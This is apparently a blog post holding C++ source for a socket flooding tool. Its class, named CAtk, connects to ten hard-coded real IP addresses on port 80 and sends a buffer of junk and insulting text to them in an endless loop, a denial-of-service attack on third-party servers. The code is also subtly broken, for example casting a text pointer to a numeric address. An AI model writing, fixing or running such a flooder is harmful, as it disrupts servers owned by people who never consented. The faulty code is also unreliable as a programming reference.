/////////////////////////////////////////////////////////// using namespace std; #include<stdlib.h> #pragma comment(lib,"WS2_32.lib") #include <corecrt_wstdlib.h> #include <iostream> #include<stdio.h> #include <Windows.h> #include<list> //////////////////////////////////////////////////////////// class CAtk { public: WSADATA wsd; list<SOCKET> m_socket; int retVal;//调用Socket函数的返回值 char buf[200]; CAtk() {}; ~CAtk() {}; void Init() { //初始化Socket环境 if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) { printf("WSAStartup failed!\n"); } sprintf_s(buf, "鸟人猪守屎&烫烫&很甜懒子很园 4/0/7 ; *0.0000001f; ;0* ;int 3; & Math_PI;"); inster_List("104.21.42.44"); inster_List("103.178.56.133"); inster_List("38.12.18.7"); inster_List("150.129.82.170"); inster_List("45.10.175.201"); inster_List("139.224.133.126"); inster_List("103.178.56.133"); inster_List("58.217.250.18"); inster_List("47.104.139.74"); inster_List("154.29.148.11"); }; void inster_List(const char* IP) { if (IP == "") { return; } SOCKADDR_IN ins; ins.sin_addr.S_un.S_addr = (ULONG)IP; ins.sin_family = AF_INET; ins.sin_port = htons(80); SOCKET soc; soc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); connect(soc, (LPSOCKADDR)&ins, sizeof(ins)); if (INVALID_SOCKET == soc) { printf("socket failed!\n"); return; } m_socket.push_back(soc); }; void loopSend() { list<SOCKET>::iterator it = m_socket.begin(); AS: if (it == m_socket.end()) { it = m_socket.begin(); } send(*it, buf, 200, 0); it++; goto AS; }; }; CAtk g_atk; int main() { g_atk.Init(); //循环发送阻塞数据 g_atk.loopSend(); return 0; };
标签:soc,封装,socket,一下,inster,List,ins,防御,include From: https://www.cnblogs.com/wscccc/p/18226032